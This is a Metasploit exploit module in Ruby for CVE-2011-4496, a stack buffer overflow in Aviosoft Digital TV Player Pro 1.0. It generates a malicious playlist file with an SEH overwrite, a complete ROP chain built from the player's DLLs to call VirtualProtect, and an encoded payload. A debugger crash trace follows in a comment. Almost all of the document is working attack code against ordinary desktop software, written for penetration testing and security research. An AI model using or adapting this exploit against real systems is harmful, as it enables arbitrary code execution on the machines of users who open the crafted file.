Path: blob/master/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb
23593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow",15'Description' => %q{16This module exploits a vulnerability found in Aviosoft Digital TV Player17Pro version 1.x. An overflow occurs when the process copies the content of a18playlist file on to the stack, which may result arbitrary code execution under19the context of the user.20},21'License' => MSF_LICENSE,22'Author' => [23'modpr0be', # Initial discovery, poc24'sinn3r', # Metasploit25],26'References' => [27['CVE', '2011-4496'],28['OSVDB', '77043'],29['EDB', '18096'],30],31'Payload' => {32'BadChars' => "\x00\x0a\x1a",33'StackAdjustment' => -3500,34},35'DefaultOptions' => {36'EXITFUNC' => "seh",37},38'Platform' => 'win',39'Targets' => [40[41'Aviosoft DTV Player 1.0.1.2',42{43'Ret' => 0x6130534a, # Stack pivot (ADD ESP,800; RET)44'Offset' => 612, # Offset to SEH45'Max' => 5000 # Max buffer size46}47],48],49'Privileged' => false,50'DisclosureDate' => '2011-11-09',51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options(61[62OptString.new('FILENAME', [false, 'The playlist name', 'msf.plf'])63]64)65end6667def junk(n = 1)68return [rand_text_alpha(4).unpack("L")[0]] * n69end7071def nops(rop = false, n = 1)72return rop ? [0x61326003] * n : [0x90909090] * n73end7475def exploit76rop = [77nops(true, 10), # ROP NOP780x6405347a, # POP EDX # RETN (MediaPlayerCtrl.dll)790x10011108, # ptr to &VirtualProtect800x64010503, # PUSH EDX # POP EAX # POP ESI # RETN (MediaPlayerCtrl.dll)81junk,820x6160949f, # MOV ECX,DWORD PTR DS:[EDX] # POP ESI (EPG.dll)83junk(3),840x61604218, # PUSH ECX # ADD AL,5F # XOR EAX,EAX # POP ESI # RETN 0C (EPG.dll)85junk(3),860x6403d1a6, # POP EBP # RETN (MediaPlayerCtrl.dll)87junk(3),880x60333560, # & push esp # ret 0c (Configuration.dll)890x61323EA8, # POP EAX # RETN (DTVDeviceManager.dll)900xA13977DF, # 0x00000343-> ebx910x640203fc, # ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)920x6163d37b, # PUSH EAX # ADD AL,5E # POP EBX # RETN (EPG.dll)930x61626807, # XOR EAX,EAX # RETN (EPG.dll)940x640203fc, # ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)950x6405347a, # POP EDX # RETN (MediaPlayerCtrl.dll)960xA13974DC, # 0x00000040-> edx970x613107fb, # ADD EDX,EAX # MOV EAX,EDX # RETN (DTVDeviceManager.dll)980x60326803, # POP ECX # RETN (Configuration.dll)990x60350340, # &Writable location1000x61329e07, # POP EDI # RETN (DTVDeviceManager.dll)101nops(true), # ROP NOP1020x60340178, # POP EAX # RETN103nops, # Regular NOPs1040x60322e02 # PUSH # RETN105].flatten.pack("V*")106107buf = ''108buf << rand_text_alpha(target['Offset'] - buf.length)109buf << [target.ret].pack('V*')110buf << rand_text_alpha(136)111buf << rop112buf << make_nops(32)113buf << payload.encoded114buf << rand_text_alpha(target['Max'] - buf.length)115116file_create(buf)117end118end119120=begin121eax=00001779 ebx=047a02c0 ecx=000001f4 edx=047a6814 esi=047a77bc edi=00130000122eip=6400f6f0 esp=0012f038 ebp=00000001 iopl=0 nv up ei pl nz na pe nc123cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206124MediaPlayerCtrl!DllCreateObject+0x220:1256400f6f0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]1260:000> !exchain1270012f3bc: *** WARNING: Unable to verify checksum for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll128*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll -129DTVDeviceManager+534a (6130534a)130Invalid exception stack at 414141411310:000> !address edi13200130000 : 00130000 - 00003000133Type 00040000 MEM_MAPPED134Protect 00000002 PAGE_READONLY135State 00001000 MEM_COMMIT136Usage RegionUsageIsVAD1370:000> !address esi138047a0000 : 047a0000 - 0000b000139Type 00020000 MEM_PRIVATE140Protect 00000004 PAGE_READWRITE141State 00001000 MEM_COMMIT142Usage RegionUsageHeap143Handle 013c0000144=end145146147